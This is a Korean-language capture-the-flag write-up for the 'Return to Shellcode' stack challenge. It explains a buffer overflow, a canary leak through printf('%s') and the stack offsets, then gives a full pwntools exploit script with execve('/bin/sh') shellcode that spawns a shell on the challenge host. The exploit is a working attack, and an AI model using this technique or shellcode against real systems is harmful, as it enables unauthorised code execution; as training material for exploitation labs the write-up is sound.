Return to Shellcode
A canary blocks a direct return overwrite, but the stack is executable, so the shellcode goes there.
- 보호기법 확인
checksec 결과는 다음과 같습니다. Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found PIE: PIE enabled Stack: Executable RWX: Has RWX segments 중요한 부분은 다음과 같습니다.
- Canary가 존재하므로 return address를 바로 덮을 수 없다.
- Stack이 실행 가능하므로 stack에 shellcode를 넣고 실행할 수 있다.
- PIE가 켜져 있지만, 프로그램이 직접 buf 주소를 출력해주므로 큰 문제가 되지 않는다.
핵심 코드는 다음과 같습니다. printf(“Address of the buf: %p\n”, buf); printf(“Distance between buf and $rbp: %ld\n”,
(char*)__builtin_frame_address(0) - buf); printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout);
read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("[2] Overwrite the return address");
printf("Input: "); fflush(stdout); gets(buf);
여기서 취약점은 두 가지입니다.
첫 번째로, buf의 크기는 0x50인데 read()는 0x100만큼 입력을 받습니다.
read(0, buf, 0x100);
따라서 buffer overflow가 발생할 수 있습니다. 두 번째로, 이후에 gets(buf)를 사용합니다.
gets(buf);
gets()는 입력 길이를 제한하지 않기 때문에 return address까지 덮을 수 있습니다.
- Stack 구조와 offset 계산 프로그램은 다음 값을 출력합니다. Distance between buf and $rbp: 96 96은 hex로 0x60입니다. 즉, buf 시작 주소 = rbp - 0x60 입니다. 그리고 canary는 일반적으로 rbp - 0x8 위치에 저장됩니다. 따라서 canary까지의 거리는 다음과 같이 계산할 수 있습니다.
(rbp - 0x8) - (rbp - 0x60) = 0x60 - 0x8 = 0x58
즉, buf 시작 지점부터 canary까지의 offset은 0x58입니다. Stack 구조는 다음과 같습니다.
buf[0x50] 80 bytes padding 8 bytes canary 8 bytes saved rbp 8 bytes return address 8 bytes
정리하면 다음과 같습니다.
buf → canary = 0x58 buf → saved rbp = 0x60 buf → return addr = 0x68
- Canary leak 방법
이 문제에서는 첫 번째 입력 이후에 다음 코드가 실행됩니다.
printf("Your input is '%s'\n", buf);
%s는 문자열을 출력할 때 null byte인 \x00을 만날 때까지 계속 출력합니다. stack canary의 첫 번째 바이트는 보통 \x00입니다. 그래서 일반적으로는 canary 앞에서 출력이 멈춥니다. 하지만 첫 번째 입력에서 0x59바이트를 보내면 canary의 첫 번째 null byte까지 덮을 수 있습니다.
p.send(b"A" * 0x59)
의미는 다음과 같습니다. A * 0x58 → canary 바로 앞까지 채움 A * 1 → canary의 첫 번째 null byte를 덮음 그러면 printf(“%s”)가 canary의 나머지 7바이트를 출력하게 됩니다. leak된 값은 canary의 뒤 7바이트이므로, 앞에 \x00을 다시 붙여서 원래 canary 값을 복구합니다.
leaked = p.recvn(7) canary = u64(b"\x00" + leaked)
밑에는 my 익스플로잇 코드
from pwn import * context.arch = "amd64" context.os = "linux" p = remote("host3.dreamhack.games",
21041) # buf 주소 leak p.recvuntil(b"Address of the buf: ") buf_addr = int(p.recvline().strip(), 16) # buf와 rbp 사이 거리 leak p.recvuntil(b"Distance between buf and $rbp: ") distance = int(p.recvline().strip()) canary_offset = distance - 8 log.info(f"buf address: {hex(buf_addr)}") log.info(f"canary offset: {hex(canary_offset)}") # 첫 번 째 입력으로 canary leak p.recvuntil(b"Input: ") p.send(b"A" * (canary_offset + 1)) p.recvuntil(b"A" *
(canary_offset + 1)) leaked = p.recvn(7) canary = u64(b"\x00" + leaked) log.info(f"canary: {hex(canary)}") #
amd64 /bin/sh shellcode shellcode = ( b"\x48\x31\xf6" b"\x56" b"\x48\xbf\x2f\x62\x69\x6e\
x2f\x2f\x73\x68" b"\x57" b"\x54" b"\x5f" b"\x6a\x3b" b"\x58" b"\x99" b"\x0f\x05" ) # 두 번째 입력으로 return address overwrite p.recvuntil(b"Input: ") payload = shellcode payload += b"A" *
(canary_offset - len(shellcode)) payload += p64(canary) payload += b"B" * 8 payload += p64(buf_addr)
p.sendline(payload) p.interactive()
- 결론 이 문제는 stack canary가 적용되어 있어 단순히 return address를 덮는 방식으로는 exploit할 수 없습니다. 하지만 첫 번째 입력에서 printf(“%s”)를 이용해 canary의 일부를 leak할 수 있습니다. 이후 leak한 canary 값을 payload에 그대로 포함하고, buf에 shellcode를 넣은 뒤 return address를 buf 주소로 덮으면 shellcode가 실행됩니다. 결과적으로 stack이 실행 가능하다는 점을 이용해 shell을 획득할 수 있습니다.